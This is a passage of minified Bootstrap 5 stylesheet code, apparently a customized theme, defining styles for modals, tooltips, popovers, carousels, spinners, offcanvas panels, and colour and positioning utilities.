.modal-fullscreen-xl-down { width: 100vw; max-width: none; height: 100%; margin: 0; } .modal-fullscreen-xl-down .modal-content { height: 100%; border: 0; border-radius: 0; } .modal-fullscreen-xl-down .modal-header, .modal-fullscreen-xl-down .modal-footer { border-radius: 0; } .modal-fullscreen-xl-down .modal-body { overflow-y: auto; } } @media (max-width: 1399.98px) { .modal-fullscreen-xxl-down { width: 100vw; max-width: none; height: 100%; margin: 0; } .modal-fullscreen-xxl-down .modal-content { height: 100%; border: 0; border-radius: 0; } .modal-fullscreen-xxl-down .modal-header, .modal-fullscreen-xxl-down .modal-footer { border-radius: 0; } .modal-fullscreen-xxl-down .modal-body { overflow-y: auto; } } .tooltip { --bs-tooltip-zindex: 1080; --bs-tooltip-max-width: 200px; --bs-tooltip-padding-x: 0.5rem; --bs-tooltip-padding-y: 0.25rem; --bs-tooltip-margin: 0; --bs-tooltip-font-size: 0.76563rem; --bs-tooltip-color: #ffffff; --bs-tooltip-bg: #000000; --bs-tooltip-border-radius: 10px; --bs-tooltip-opacity: 0.9; --bs-tooltip-arrow-width: 0.8rem; --bs-tooltip-arrow-height: 0.4rem; z-index: var(--bs-tooltip-zindex); display: block; padding: var(--bs-tooltip-arrow-height); margin: var(--bs-tooltip-margin); font-family: var(--bs-font-sans-serif); font-style: normal; font-weight: 400; line-height: 1.5; text-align: left; text-align: start; text-decoration: none; text-shadow: none; text-transform: none; letter-spacing: normal; word-break: normal; white-space: normal; word-spacing: normal; line-break: auto; font-size: var(--bs-tooltip-font-size); word-wrap: break-word; opacity: 0; } .tooltip.show { opacity: var(--bs-tooltip-opacity); } .tooltip .tooltip-arrow { display: block; width: var(--bs-tooltip-arrow-width); height: var(--bs-tooltip-arrow-height); } .tooltip .tooltip-arrow::before { position: absolute; content: ""; border-color: transparent; border-style: solid; } .bs-tooltip-top .tooltip-arrow, .bs-tooltip-auto[data-popper-placement^="top"] .tooltip-arrow { bottom: 0; } .bs-tooltip-top .tooltip-arrow::before, .bs-tooltip-auto[data-popper-placement^="top"] .tooltip-arrow::before { top: -1px; border-width: var(--bs-tooltip-arrow-height) calc(var(--bs-tooltip-arrow-width) * .5) 0; border-top-color: var(--bs-tooltip-bg); } /* rtl:begin:ignore */ .bs-tooltip-end .tooltip-arrow, .bs-tooltip-auto[data-popper-placement^="right"] .tooltip-arrow { left: 0; width: var(--bs-tooltip-arrow-height); height: var(--bs-tooltip-arrow-width); } .bs-tooltip-end .tooltip-arrow::before, .bs-tooltip-auto[data-popper-placement^="right"] .tooltip-arrow::before { right: -1px; border-width: calc(var(--bs-tooltip-arrow-width) * .5) var(--bs-tooltip-arrow-height) calc(var(--bs-tooltip-arrow-width) * .5) 0; border-right-color: var(--bs-tooltip-bg); } /* rtl:end:ignore */ .bs-tooltip-bottom .tooltip-arrow, .bs-tooltip-auto[data-popper-placement^="bottom"] .tooltip-arrow { top: 0; } .bs-tooltip-bottom .tooltip-arrow::before, .bs-tooltip-auto[data-popper-placement^="bottom"] .tooltip-arrow::before { bottom: -1px; border-width: 0 calc(var(--bs-tooltip-arrow-width) * .5) var(--bs-tooltip-arrow-height); border-bottom-color: var(--bs-tooltip-bg); } /* rtl:begin:ignore */ .bs-tooltip-start .tooltip-arrow, .bs-tooltip-auto[data-popper-placement^="left"] .tooltip-arrow { right: 0; width: var(--bs-tooltip-arrow-height); height: var(--bs-tooltip-arrow-width); } .bs-tooltip-start .tooltip-arrow::before, .bs-tooltip-auto[data-popper-placement^="left"] .tooltip-arrow::before { left: -1px; border-width: calc(var(--bs-tooltip-arrow-width) * .5) 0 calc(var(--bs-tooltip-arrow-width) * .5) var(--bs-tooltip-arrow-height); border-left-color: var(--bs-tooltip-bg); } /* rtl:end:ignore */ .tooltip-inner { max-width: var(--bs-tooltip-max-width); padding: var(--bs-tooltip-padding-y) var(--bs-tooltip-padding-x); color: var(--bs-tooltip-color); text-align: center; background-color: var(--bs-tooltip-bg); border-radius: var(--bs-tooltip-border-radius); } .popover { --bs-popover-zindex: 1070; --bs-popover-max-width: 276px; --bs-popover-font-size: 0.76563rem; --bs-popover-bg: #ffffff; --bs-popover-border-width: 1px; --bs-popover-border-color: rgba(0, 0, 0, 0.2); --bs-popover-border-radius: 15px; --bs-popover-inner-border-radius: 14px; --bs-popover-box-shadow: 0 0.5rem 1rem rgba(0, 0, 0, 0.15); --bs-popover-header-padding-x: 0.75rem; --bs-popover-header-padding-y: 0.5rem; --bs-popover-header-font-size: 1rem; --bs-popover-header-color: #060606; --bs-popover-header-bg: #f7f7f7; --bs-popover-body-padding-x: 1rem; --bs-popover-body-padding-y: 1rem; --bs-popover-body-color: #293240; --bs-popover-arrow-width: 1rem; --bs-popover-arrow-height: 0.5rem; --bs-popover-arrow-border: var(--bs-popover-border-color); z-index: var(--bs-popover-zindex); display: block; max-width: var(--bs-popover-max-width); font-family: var(--bs-font-sans-serif); font-style: normal; font-weight: 400; line-height: 1.5; text-align: left; text-align: start; text-decoration: none; text-shadow: none; text-transform: none; letter-spacing: normal; word-break: normal; white-space: normal; word-spacing: normal; line-break: auto; font-size: var(--bs-popover-font-size); word-wrap: break-word; background-color: var(--bs-popover-bg); background-clip: padding-box; border: var(--bs-popover-border-width) solid var(--bs-popover-border-color); border-radius: var(--bs-popover-border-radius); } .popover .popover-arrow { display: block; width: var(--bs-popover-arrow-width); height: var(--bs-popover-arrow-height); } .popover .popover-arrow::before, .popover .popover-arrow::after { position: absolute; display: block; content: ""; border-color: transparent; border-style: solid; border-width: 0; } .bs-popover-top > .popover-arrow, .bs-popover-auto[data-popper-placement^="top"] > .popover-arrow { bottom: calc(-1 * (var(--bs-popover-arrow-height)) - var(--bs-popover-border-width)); } .bs-popover-top > .popover-arrow::before, .bs-popover-auto[data-popper-placement^="top"] > .popover-arrow::before, .bs-popover-top > .popover-arrow::after, .bs-popover-auto[data-popper-placement^="top"] > .popover-arrow::after { border-width: var(--bs-popover-arrow-height) calc(var(--bs-popover-arrow-width) * .5) 0; } .bs-popover-top > .popover-arrow::before, .bs-popover-auto[data-popper-placement^="top"] > .popover-arrow::before { bottom: 0; border-top-color: var(--bs-popover-arrow-border); } .bs-popover-top > .popover-arrow::after, .bs-popover-auto[data-popper-placement^="top"] > .popover-arrow::after { bottom: var(--bs-popover-border-width); border-top-color: var(--bs-popover-bg); } /* rtl:begin:ignore */ .bs-popover-end > .popover-arrow, .bs-popover-auto[data-popper-placement^="right"] > .popover-arrow { left: calc(-1 * (var(--bs-popover-arrow-height)) - var(--bs-popover-border-width)); width: var(--bs-popover-arrow-height); height: var(--bs-popover-arrow-width); } .bs-popover-end > .popover-arrow::before, .bs-popover-auto[data-popper-placement^="right"] > .popover-arrow::before, .bs-popover-end > .popover-arrow::after, .bs-popover-auto[data-popper-placement^="right"] > .popover-arrow::after { border-width: calc(var(--bs-popover-arrow-width) * .5) var(--bs-popover-arrow-height) calc(var(--bs-popover-arrow-width) * .5) 0; } .bs-popover-end > .popover-arrow::before, .bs-popover-auto[data-popper-placement^="right"] > .popover-arrow::before { left: 0; border-right-color: var(--bs-popover-arrow-border); } .bs-popover-end > .popover-arrow::after, .bs-popover-auto[data-popper-placement^="right"] > .popover-arrow::after { left: var(--bs-popover-border-width); border-right-color: var(--bs-popover-bg); } /* rtl:end:ignore */ .bs-popover-bottom > .popover-arrow, .bs-popover-auto[data-popper-placement^="bottom"] > .popover-arrow { top: calc(-1 * (var(--bs-popover-arrow-height)) - var(--bs-popover-border-width)); } .bs-popover-bottom > .popover-arrow::before, .bs-popover-auto[data-popper-placement^="bottom"] > .popover-arrow::before, .bs-popover-bottom > .popover-arrow::after, .bs-popover-auto[data-popper-placement^="bottom"] > .popover-arrow::after { border-width: 0 calc(var(--bs-popover-arrow-width) * .5) var(--bs-popover-arrow-height); } .bs-popover-bottom > .popover-arrow::before, .bs-popover-auto[data-popper-placement^="bottom"] > .popover-arrow::before { top: 0; border-bottom-color: var(--bs-popover-arrow-border); } .bs-popover-bottom > .popover-arrow::after, .bs-popover-auto[data-popper-placement^="bottom"] > .popover-arrow::after { top: var(--bs-popover-border-width); border-bottom-color: var(--bs-popover-bg); } .bs-popover-bottom .popover-header::before, .bs-popover-auto[data-popper-placement^="bottom"] .popover-header::before { position: absolute; top: 0; left: 50%; display: block; width: var(--bs-popover-arrow-width); margin-left: calc(-.5 * var(--bs-popover-arrow-width)); content: ""; border-bottom: var(--bs-popover-border-width) solid var(--bs-popover-header-bg); } /* rtl:begin:ignore */ .bs-popover-start > .popover-arrow, .bs-popover-auto[data-popper-placement^="left"] > .popover-arrow { right: calc(-1 * (var(--bs-popover-arrow-height)) - var(--bs-popover-border-width)); width: var(--bs-popover-arrow-height); height: var(--bs-popover-arrow-width); } .bs-popover-start > .popover-arrow::before, .bs-popover-auto[data-popper-placement^="left"] > .popover-arrow::before, .bs-popover-start > .popover-arrow::after, .bs-popover-auto[data-popper-placement^="left"] > .popover-arrow::after { border-width: calc(var(--bs-popover-arrow-width) * .5) 0 calc(var(--bs-popover-arrow-width) * .5) var(--bs-popover-arrow-height); } .bs-popover-start > .popover-arrow::before, .bs-popover-auto[data-popper-placement^="left"] > .popover-arrow::before { right: 0; border-left-color: var(--bs-popover-arrow-border); } .bs-popover-start > .popover-arrow::after, .bs-popover-auto[data-popper-placement^="left"] > .popover-arrow::after { right: var(--bs-popover-border-width); border-left-color: var(--bs-popover-bg); } /* rtl:end:ignore */ .popover-header { padding: var(--bs-popover-header-padding-y) var(--bs-popover-header-padding-x); margin-bottom: 0; font-size: var(--bs-popover-header-font-size); color: var(--bs-popover-header-color); background-color: var(--bs-popover-header-bg); border-bottom: var(--bs-popover-border-width) solid var(--bs-popover-border-color); border-top-left-radius: var(--bs-popover-inner-border-radius); border-top-right-radius: var(--bs-popover-inner-border-radius); } .popover-header:empty { display: none; } .popover-body { padding: var(--bs-popover-body-padding-y) var(--bs-popover-body-padding-x); color: var(--bs-popover-body-color); } .carousel { position: relative; } .carousel.pointer-event { touch-action: pan-y; } .carousel-inner { position: relative; width: 100%; overflow: hidden; } .carousel-inner::after { display: block; clear: both; content: ""; } .carousel-item { position: relative; display: none; float: left; width: 100%; margin-right: -100%; backface-visibility: hidden; transition: transform 0.6s ease-in-out; } @media (prefers-reduced-motion: reduce) { .carousel-item { transition: none; } } .carousel-item.active, .carousel-item-next, .carousel-item-prev { display: block; } .carousel-item-next:not(.carousel-item-start), .active.carousel-item-end { transform: translateX(100%); } .carousel-item-prev:not(.carousel-item-end), .active.carousel-item-start { transform: translateX(-100%); } .carousel-fade .carousel-item { opacity: 0; transition-property: opacity; transform: none; } .carousel-fade .carousel-item.active, .carousel-fade .carousel-item-next.carousel-item-start, .carousel-fade .carousel-item-prev.carousel-item-end { z-index: 1; opacity: 1; } .carousel-fade .active.carousel-item-start, .carousel-fade .active.carousel-item-end { z-index: 0; opacity: 0; transition: opacity 0s 0.6s; } @media (prefers-reduced-motion: reduce) { .carousel-fade .active.carousel-item-start, .carousel-fade .active.carousel-item-end { transition: none; } } .carousel-control-prev, .carousel-control-next { position: absolute; top: 0; bottom: 0; z-index: 1; display: flex; align-items: center; justify-content: center; width: 15%; padding: 0; color: #ffffff; text-align: center; background: none; border: 0; opacity: 0.5; transition: opacity 0.15s ease; } @media (prefers-reduced-motion: reduce) { .carousel-control-prev, .carousel-control-next { transition: none; } } .carousel-control-prev:hover, .carousel-control-prev:focus, .carousel-control-next:hover, .carousel-control-next:focus { color: #ffffff; text-decoration: none; outline: 0; opacity: 0.9; } .carousel-control-prev { left: 0; } .carousel-control-next { right: 0; } .carousel-control-prev-icon, .carousel-control-next-icon { display: inline-block; width: 20px; height: 20px; background-repeat: no-repeat; background-position: 50%; background-size: 100% 100%; } /* rtl:options: { "autoRename": true, "stringMap":[ { "name" : "prev-next", "search" : "prev", "replace" : "next" } ] } */ .carousel-control-prev-icon { background-image: url("data:image/svg+xml,%3csvg xmlns='http://www.w3.org/2000/svg' fill='%23ffffff' viewBox='0 0 8 8'%3e%3cpath d='M5.25 0l-4 4 4 4 1.5-1.5L4.25 4l2.5-2.5L5.25 0z'/%3e%3c/svg%3e"); } .carousel-control-next-icon { background-image: url("data:image/svg+xml,%3csvg xmlns='http://www.w3.org/2000/svg' fill='%23ffffff' viewBox='0 0 8 8'%3e%3cpath d='M2.75 0l-1.5 1.5L3.75 4l-2.5 2.5L2.75 8l4-4-4-4z'/%3e%3c/svg%3e"); } .carousel-indicators { position: absolute; right: 0; bottom: 0; left: 0; z-index: 2; display: flex; justify-content: center; padding: 0; margin-right: 15%; margin-bottom: 1rem; margin-left: 15%; list-style: none; } .carousel-indicators [data-bs-target] { box-sizing: content-box; flex: 0 1 auto; width: 30px; height: 3px; padding: 0; margin-right: 3px; margin-left: 3px; text-indent: -999px; cursor: pointer; background-color: #ffffff; background-clip: padding-box; border: 0; border-top: 10px solid transparent; border-bottom: 10px solid transparent; opacity: 0.5; transition: opacity 0.6s ease; } @media (prefers-reduced-motion: reduce) { .carousel-indicators [data-bs-target] { transition: none; } } .carousel-indicators .active { opacity: 1; } .carousel-caption { position: absolute; right: 15%; bottom: 1.25rem; left: 15%; padding-top: 1.25rem; padding-bottom: 1.25rem; color: #ffffff; text-align: center; } .carousel-dark .carousel-control-prev-icon, .carousel-dark .carousel-control-next-icon { filter: invert(1) grayscale(100); } .carousel-dark .carousel-indicators [data-bs-target] { background-color: #000000; } .carousel-dark .carousel-caption { color: #000000; } .spinner-grow, .spinner-border { display: inline-block; width: var(--bs-spinner-width); height: var(--bs-spinner-height); vertical-align: var(--bs-spinner-vertical-align); border-radius: 50%; animation: var(--bs-spinner-animation-speed) linear infinite var(--bs-spinner-animation-name); } @keyframes spinner-border { to { transform: rotate(360deg) /* rtl:ignore */; } } .spinner-border { --bs-spinner-width: 2rem; --bs-spinner-height: 2rem; --bs-spinner-vertical-align: -0.125em; --bs-spinner-border-width: 0.25em; --bs-spinner-animation-speed: 0.75s; --bs-spinner-animation-name: spinner-border; border: var(--bs-spinner-border-width) solid currentcolor; border-right-color: transparent; } .spinner-border-sm { --bs-spinner-width: 1rem; --bs-spinner-height: 1rem; --bs-spinner-border-width: 0.2em; } @keyframes spinner-grow { 0% { transform: scale(0); } 50% { opacity: 1; transform: none; } } .spinner-grow { --bs-spinner-width: 2rem; --bs-spinner-height: 2rem; --bs-spinner-vertical-align: -0.125em; --bs-spinner-animation-speed: 0.75s; --bs-spinner-animation-name: spinner-grow; background-color: currentcolor; opacity: 0; } .spinner-grow-sm { --bs-spinner-width: 1rem; --bs-spinner-height: 1rem; } @media (prefers-reduced-motion: reduce) { .spinner-border, .spinner-grow { --bs-spinner-animation-speed: 1.5s; } } .offcanvas-sm, .offcanvas-md, .offcanvas-lg, .offcanvas-xl, .offcanvas-xxl, .offcanvas { --bs-offcanvas-zindex: 1045; --bs-offcanvas-width: 360px; --bs-offcanvas-height: 33vh; --bs-offcanvas-padding-x: 1.25rem; --bs-offcanvas-padding-y: 1.25rem; --bs-offcanvas-color: ; --bs-offcanvas-bg: #ffffff; --bs-offcanvas-border-width: 1px; --bs-offcanvas-border-color: rgba(0, 0, 0, 0.2); --bs-offcanvas-box-shadow: 0 0.25rem 0.5rem rgba(0, 0, 0, 0.5); } @media (max-width: 575.98px) { .offcanvas-sm { position: fixed; bottom: 0; z-index: var(--bs-offcanvas-zindex); display: flex; flex-direction: column; max-width: 100%; color: var(--bs-offcanvas-color); visibility: hidden; background-color: var(--bs-offcanvas-bg); background-clip: padding-box; outline: 0; transition: transform 0.3s ease-in-out; } } @media (max-width: 575.98px) and (prefers-reduced-motion: reduce) { .offcanvas-sm { transition: none; } } @media (max-width: 575.98px) { .offcanvas-sm.offcanvas-start { top: 0; left: 0; width: var(--bs-offcanvas-width); border-right: var(--bs-offcanvas-border-width) solid var(--bs-offcanvas-border-color); transform: translateX(-100%); } .offcanvas-sm.offcanvas-end { top: 0; right: 0; width: var(--bs-offcanvas-width); border-left: var(--bs-offcanvas-border-width) solid var(--bs-offcanvas-border-color); transform: translateX(100%); } .offcanvas-sm.offcanvas-top { top: 0; right: 0; left: 0; height: var(--bs-offcanvas-height); max-height: 100%; border-bottom: var(--bs-offcanvas-border-width) solid var(--bs-offcanvas-border-color); transform: translateY(-100%); } .offcanvas-sm.offcanvas-bottom { right: 0; left: 0; height: var(--bs-offcanvas-height); max-height: 100%; border-top: var(--bs-offcanvas-border-width) solid var(--bs-offcanvas-border-color); transform: translateY(100%); } .offcanvas-sm.showing, .offcanvas-sm.show:not(.hiding) { transform: none; } .offcanvas-sm.showing, .offcanvas-sm.hiding, .offcanvas-sm.show { visibility: visible; } } @media (min-width: 576px) { .offcanvas-sm { --bs-offcanvas-height: auto; --bs-offcanvas-border-width: 0; background-color: transparent !important; } .offcanvas-sm .offcanvas-header { display: none; } .offcanvas-sm .offcanvas-body { display: flex; flex-grow: 0; padding: 0; overflow-y: visible; background-color: transparent !important; } } @media (max-width: 767.98px) { .offcanvas-md { position: fixed; bottom: 0; z-index: var(--bs-offcanvas-zindex); display: flex; flex-direction: column; max-width: 100%; color: var(--bs-offcanvas-color); visibility: hidden; background-color: var(--bs-offcanvas-bg); background-clip: padding-box; outline: 0; transition: transform 0.3s ease-in-out; } } @media (max-width: 767.98px) and (prefers-reduced-motion: reduce) { .offcanvas-md { transition: none; } } @media (max-width: 767.98px) { .offcanvas-md.offcanvas-start { top: 0; left: 0; width: var(--bs-offcanvas-width); border-right: var(--bs-offcanvas-border-width) solid var(--bs-offcanvas-border-color); transform: translateX(-100%); } .offcanvas-md.offcanvas-end { top: 0; right: 0; width: var(--bs-offcanvas-width); border-left: var(--bs-offcanvas-border-width) solid var(--bs-offcanvas-border-color); transform: translateX(100%); } .offcanvas-md.offcanvas-top { top: 0; right: 0; left: 0; height: var(--bs-offcanvas-height); max-height: 100%; border-bottom: var(--bs-offcanvas-border-width) solid var(--bs-offcanvas-border-color); transform: translateY(-100%); } .offcanvas-md.offcanvas-bottom { right: 0; left: 0; height: var(--bs-offcanvas-height); max-height: 100%; border-top: var(--bs-offcanvas-border-width) solid var(--bs-offcanvas-border-color); transform: translateY(100%); } .offcanvas-md.showing, .offcanvas-md.show:not(.hiding) { transform: none; } .offcanvas-md.showing, .offcanvas-md.hiding, .offcanvas-md.show { visibility: visible; } } @media (min-width: 768px) { .offcanvas-md { --bs-offcanvas-height: auto; --bs-offcanvas-border-width: 0; background-color: transparent !important; } .offcanvas-md .offcanvas-header { display: none; } .offcanvas-md .offcanvas-body { display: flex; flex-grow: 0; padding: 0; overflow-y: visible; background-color: transparent !important; } } @media (max-width: 991.98px) { .offcanvas-lg { position: fixed; bottom: 0; z-index: var(--bs-offcanvas-zindex); display: flex; flex-direction: column; max-width: 100%; color: var(--bs-offcanvas-color); visibility: hidden; background-color: var(--bs-offcanvas-bg); background-clip: padding-box; outline: 0; transition: transform 0.3s ease-in-out; } } @media (max-width: 991.98px) and (prefers-reduced-motion: reduce) { .offcanvas-lg { transition: none; } } @media (max-width: 991.98px) { .offcanvas-lg.offcanvas-start { top: 0; left: 0; width: var(--bs-offcanvas-width); border-right: var(--bs-offcanvas-border-width) solid var(--bs-offcanvas-border-color); transform: translateX(-100%); } .offcanvas-lg.offcanvas-end { top: 0; right: 0; width: var(--bs-offcanvas-width); border-left: var(--bs-offcanvas-border-width) solid var(--bs-offcanvas-border-color); transform: translateX(100%); } .offcanvas-lg.offcanvas-top { top: 0; right: 0; left: 0; height: var(--bs-offcanvas-height); max-height: 100%; border-bottom: var(--bs-offcanvas-border-width) solid var(--bs-offcanvas-border-color); transform: translateY(-100%); } .offcanvas-lg.offcanvas-bottom { right: 0; left: 0; height: var(--bs-offcanvas-height); max-height: 100%; border-top: var(--bs-offcanvas-border-width) solid var(--bs-offcanvas-border-color); transform: translateY(100%); } .offcanvas-lg.showing, .offcanvas-lg.show:not(.hiding) { transform: none; } .offcanvas-lg.showing, .offcanvas-lg.hiding, .offcanvas-lg.show { visibility: visible; } } @media (min-width: 992px) { .offcanvas-lg { --bs-offcanvas-height: auto; --bs-offcanvas-border-width: 0; background-color: transparent !important; } .offcanvas-lg .offcanvas-header { display: none; } .offcanvas-lg .offcanvas-body { display: flex; flex-grow: 0; padding: 0; overflow-y: visible; background-color: transparent !important; } } @media (max-width: 1199.98px) { .offcanvas-xl { position: fixed; bottom: 0; z-index: var(--bs-offcanvas-zindex); display: flex; flex-direction: column; max-width: 100%; color: var(--bs-offcanvas-color); visibility: hidden; background-color: var(--bs-offcanvas-bg); background-clip: padding-box; outline: 0; transition: transform 0.3s ease-in-out; } } @media (max-width: 1199.98px) and (prefers-reduced-motion: reduce) { .offcanvas-xl { transition: none; } } @media (max-width: 1199.98px) { .offcanvas-xl.offcanvas-start { top: 0; left: 0; width: var(--bs-offcanvas-width); border-right: var(--bs-offcanvas-border-width) solid var(--bs-offcanvas-border-color); transform: translateX(-100%); } .offcanvas-xl.offcanvas-end { top: 0; right: 0; width: var(--bs-offcanvas-width); border-left: var(--bs-offcanvas-border-width) solid var(--bs-offcanvas-border-color); transform: translateX(100%); } .offcanvas-xl.offcanvas-top { top: 0; right: 0; left: 0; height: var(--bs-offcanvas-height); max-height: 100%; border-bottom: var(--bs-offcanvas-border-width) solid var(--bs-offcanvas-border-color); transform: translateY(-100%); } .offcanvas-xl.offcanvas-bottom { right: 0; left: 0; height: var(--bs-offcanvas-height); max-height: 100%; border-top: var(--bs-offcanvas-border-width) solid var(--bs-offcanvas-border-color); transform: translateY(100%); } .offcanvas-xl.showing, .offcanvas-xl.show:not(.hiding) { transform: none; } .offcanvas-xl.showing, .offcanvas-xl.hiding, .offcanvas-xl.show { visibility: visible; } } @media (min-width: 1200px) { .offcanvas-xl { --bs-offcanvas-height: auto; --bs-offcanvas-border-width: 0; background-color: transparent !important; } .offcanvas-xl .offcanvas-header { display: none; } .offcanvas-xl .offcanvas-body { display: flex; flex-grow: 0; padding: 0; overflow-y: visible; background-color: transparent !important; } } @media (max-width: 1399.98px) { .offcanvas-xxl { position: fixed; bottom: 0; z-index: var(--bs-offcanvas-zindex); display: flex; flex-direction: column; max-width: 100%; color: var(--bs-offcanvas-color); visibility: hidden; background-color: var(--bs-offcanvas-bg); background-clip: padding-box; outline: 0; transition: transform 0.3s ease-in-out; } } @media (max-width: 1399.98px) and (prefers-reduced-motion: reduce) { .offcanvas-xxl { transition: none; } } @media (max-width: 1399.98px) { .offcanvas-xxl.offcanvas-start { top: 0; left: 0; width: var(--bs-offcanvas-width); border-right: var(--bs-offcanvas-border-width) solid var(--bs-offcanvas-border-color); transform: translateX(-100%); } .offcanvas-xxl.offcanvas-end { top: 0; right: 0; width: var(--bs-offcanvas-width); border-left: var(--bs-offcanvas-border-width) solid var(--bs-offcanvas-border-color); transform: translateX(100%); } .offcanvas-xxl.offcanvas-top { top: 0; right: 0; left: 0; height: var(--bs-offcanvas-height); max-height: 100%; border-bottom: var(--bs-offcanvas-border-width) solid var(--bs-offcanvas-border-color); transform: translateY(-100%); } .offcanvas-xxl.offcanvas-bottom { right: 0; left: 0; height: var(--bs-offcanvas-height); max-height: 100%; border-top: var(--bs-offcanvas-border-width) solid var(--bs-offcanvas-border-color); transform: translateY(100%); } .offcanvas-xxl.showing, .offcanvas-xxl.show:not(.hiding) { transform: none; } .offcanvas-xxl.showing, .offcanvas-xxl.hiding, .offcanvas-xxl.show { visibility: visible; } } @media (min-width: 1400px) { .offcanvas-xxl { --bs-offcanvas-height: auto; --bs-offcanvas-border-width: 0; background-color: transparent !important; } .offcanvas-xxl .offcanvas-header { display: none; } .offcanvas-xxl .offcanvas-body { display: flex; flex-grow: 0; padding: 0; overflow-y: visible; background-color: transparent !important; } } .offcanvas { position: fixed; bottom: 0; z-index: var(--bs-offcanvas-zindex); display: flex; flex-direction: column; max-width: 100%; color: var(--bs-offcanvas-color); visibility: hidden; background-color: var(--bs-offcanvas-bg); background-clip: padding-box; outline: 0; transition: transform 0.3s ease-in-out; } @media (prefers-reduced-motion: reduce) { .offcanvas { transition: none; } } .offcanvas.offcanvas-start { top: 0; left: 0; width: var(--bs-offcanvas-width); border-right: var(--bs-offcanvas-border-width) solid var(--bs-offcanvas-border-color); transform: translateX(-100%); } .offcanvas.offcanvas-end { top: 0; right: 0; width: var(--bs-offcanvas-width); border-left: var(--bs-offcanvas-border-width) solid var(--bs-offcanvas-border-color); transform: translateX(100%); } .offcanvas.offcanvas-top { top: 0; right: 0; left: 0; height: var(--bs-offcanvas-height); max-height: 100%; border-bottom: var(--bs-offcanvas-border-width) solid var(--bs-offcanvas-border-color); transform: translateY(-100%); } .offcanvas.offcanvas-bottom { right: 0; left: 0; height: var(--bs-offcanvas-height); max-height: 100%; border-top: var(--bs-offcanvas-border-width) solid var(--bs-offcanvas-border-color); transform: translateY(100%); } .offcanvas.showing, .offcanvas.show:not(.hiding) { transform: none; } .offcanvas.showing, .offcanvas.hiding, .offcanvas.show { visibility: visible; } .offcanvas-backdrop { position: fixed; top: 0; left: 0; z-index: 1040; width: 100vw; height: 100vh; background-color: #000; } .offcanvas-backdrop.fade { opacity: 0; } .offcanvas-backdrop.show { opacity: 0.5; } .offcanvas-header { display: flex; align-items: center; justify-content: space-between; padding: var(--bs-offcanvas-padding-y) var(--bs-offcanvas-padding-x); } .offcanvas-header .btn-close { padding: calc(var(--bs-offcanvas-padding-y) * .5) calc(var(--bs-offcanvas-padding-x) * .5); margin-top: calc(-.5 * var(--bs-offcanvas-padding-y)); margin-right: calc(-.5 * var(--bs-offcanvas-padding-x)); margin-bottom: calc(-.5 * var(--bs-offcanvas-padding-y)); } .offcanvas-title { margin-bottom: 0; line-height: 1.5; } .offcanvas-body { flex-grow: 1; padding: var(--bs-offcanvas-padding-y) var(--bs-offcanvas-padding-x); overflow-y: auto; } .placeholder { display: inline-block; min-height: 1em; vertical-align: middle; cursor: wait; background-color: currentcolor; opacity: 0.5; } .placeholder.btn::before { display: inline-block; content: ""; } .placeholder-xs { min-height: .6em; } .placeholder-sm { min-height: .8em; } .placeholder-lg { min-height: 1.2em; } .placeholder-glow .placeholder { animation: placeholder-glow 2s ease-in-out infinite; } @keyframes placeholder-glow { 50% { opacity: 0.2; } } .placeholder-wave { -webkit-mask-image: linear-gradient(130deg, #000000 55%, rgba(0, 0, 0, 0.8) 75%, #000000 95%); mask-image: linear-gradient(130deg, #000000 55%, rgba(0, 0, 0, 0.8) 75%, #000000 95%); -webkit-mask-size: 200% 100%; mask-size: 200% 100%; animation: placeholder-wave 2s linear infinite; } @keyframes placeholder-wave { 100% { -webkit-mask-position: -200% 0%; mask-position: -200% 0%; } } .clearfix::after { display: block; clear: both; content: ""; } .text-bg-primary { color: #ffffff !important; background-color: RGBA(81, 69, 157, var(--bs-bg-opacity, 1)) !important; } .text-bg-secondary { color: #ffffff !important; background-color: RGBA(108, 117, 125, var(--bs-bg-opacity, 1)) !important; } .text-bg-success { color: #ffffff !important; background-color: RGBA(111, 217, 67, var(--bs-bg-opacity, 1)) !important; } .text-bg-info { color: #ffffff !important; background-color: RGBA(62, 201, 214, var(--bs-bg-opacity, 1)) !important; } .text-bg-warning { color: #ffffff !important; background-color: RGBA(255, 162, 29, var(--bs-bg-opacity, 1)) !important; } .text-bg-danger { color: #ffffff !important; background-color: RGBA(255, 58, 110, var(--bs-bg-opacity, 1)) !important; } .text-bg-light { color: #212529 !important; background-color: RGBA(248, 249, 250, var(--bs-bg-opacity, 1)) !important; } .text-bg-dark { color: #ffffff !important; background-color: RGBA(28, 35, 47, var(--bs-bg-opacity, 1)) !important; } .link-primary { color: #51459d !important; } .link-primary:hover, .link-primary:focus { color: #41377e !important; } .link-secondary { color: #6c757d !important; } .link-secondary:hover, .link-secondary:focus { color: #565e64 !important; } .link-success { color: #6fd943 !important; } .link-success:hover, .link-success:focus { color: #59ae36 !important; } .link-info { color: #3ec9d6 !important; } .link-info:hover, .link-info:focus { color: #32a1ab !important; } .link-warning { color: #ffa21d !important; } .link-warning:hover, .link-warning:focus { color: #cc8217 !important; } .link-danger { color: #ff3a6e !important; } .link-danger:hover, .link-danger:focus { color: #cc2e58 !important; } .link-light { color: #f8f9fa !important; } .link-light:hover, .link-light:focus { color: #f9fafb !important; } .link-dark { color: #1c232f !important; } .link-dark:hover, .link-dark:focus { color: #161c26 !important; } .ratio { position: relative; width: 100%; } .ratio::before { display: block; padding-top: var(--bs-aspect-ratio); content: ""; } .ratio > * { position: absolute; top: 0; left: 0; width: 100%; height: 100%; } .ratio-1x1 { --bs-aspect-ratio: 100%; } .ratio-4x3 { --bs-aspect-ratio: calc(3 / 4 * 100%); } .ratio-16x9 { --bs-aspect-ratio: calc(9 / 16 * 100%); } .ratio-21x9 { --bs-aspect-ratio: calc(9 / 21 * 100%); } .fixed-top { position: fixed; top: 0; right: 0; left: 0; z-index: 1030; } .fixed-bottom { position: fixed; right: 0; bottom: 0; left: 0; z-index: 1030; } .sticky-top { position: sticky; top: 0; z-index: 1020; } .sticky-bottom { position: sticky; bottom: 0; z-index: 1020; } @media (min-width: 576px) { .sticky-sm-top { position: sticky; top: 0; z-index: 1020; } .sticky-sm-bottom { position: sticky; bottom: 0; z-index: 1020; } } @media (min-width: 768px) { .sticky-md-top { position: sticky; top: 0; z-index: 1020; } .sticky-md-bottom { position: sticky; bottom: 0; z-index: 1020; } } @media (min-width: 992px) { .sticky-lg-top { position: sticky; top: 0; z-index: 1020; } .sticky-lg-bottom { position: sticky; bottom: 0; z-index: 1020; } } @media (min-width: 1200px) { .sticky-xl-top { position: sticky; top: 0; z-index: 1020; } .sticky-xl-bottom { position: sticky; bottom: 0; z-index: 1020; } } @media (min-width: 1400px) { .sticky-xxl-top { position: sticky; top: 0; z-index: 1020; } .sticky-xxl-bottom { position: 